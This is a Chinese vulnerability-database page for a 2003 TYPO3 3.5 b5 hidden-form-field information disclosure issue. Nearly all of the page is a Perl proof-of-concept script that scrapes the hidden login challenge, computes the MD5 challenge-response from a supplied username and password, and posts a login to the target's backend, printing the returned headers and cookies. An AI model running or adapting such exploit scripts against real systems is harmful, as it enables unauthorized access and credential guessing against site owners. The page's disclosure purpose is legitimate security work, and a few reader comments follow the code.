Typo3 3.5 b5 – HTML Hidden Form Field Information Disclosure Weakness (2)
漏洞ID | 1053727 | 漏洞类型 | |
发布时间 | 2003-02-28 | 更新时间 | 2003-02-28 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | PHP | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/6993/info
Clients of TYPO3 systems may access potentially sensitive data that have been obfuscated through hidden form fields. This may aid in exploiting other known issues in the software.
#!/usr/bin/perl
use strict;
use Getopt::Std;
use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
use HTTP::Headers;
use HTML::Form;
use Digest::MD5 qw(md5_hex);
my ($thehost,$account) = @ARGV;
my ($uid,$pwd) = split(/:/,$account,2);
my $pass = $pwd;
print "nchecking $thehost | $uid | $pwdn";
$pwd = md5_hex("$pwd");
my $content = "";
my $userident = "";
my $hds = HTTP::Headers->new;
my $ua = new LWP::UserAgent();
push @{ $ua->requests_redirectable }, 'POST';
$ua->agent("Opera 6.0");
my $uri = "http://".$thehost."/typo3/typo3/index.php";
my $req = HTTP::Request->new("GET", $uri, $hds, $content);
my $res = $ua->request($req);
my $res_heads = $res->headers;
my $cookie = $res_heads->header("Set-Cookie");
my $form = HTML::Form->parse($res->content, "$uri");
my $challenge = $form->value("challenge");
$userident = md5_hex("$uid:$pwd:$challenge");
$hds->header('Cookie' => "$cookie");
$hds->header('Content-Type' => "application/x-www-form-urlencoded");
$content = "username=$uid&p_field=&userident=$userident&challenge=$challenge&redirect_url=alt_main.php";
$content .= "&loginRefresh=&login_status=login&interface=alternative";
my $req = HTTP::Request->new("POST", $uri, $hds, $content);
my $res = $ua->request($req);
$res_heads = $res->headers;
$cookie = $res_heads->header("Set-Cookie");
print "nRescode:".$res->code()."n".$res_heads->as_string()."nn";
#print "n".$res_heads->as_string()."nn".$res->content()."nn";
相关推荐: CDE DTPrintInfo Help Volume Search Buffer Overflow Vulnerability
CDE DTPrintInfo Help Volume Search Buffer Overflow Vulnerability 漏洞ID 1102155 漏洞类型 Boundary Condition Error 发布时间 2002-04-29 更新时间 2…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666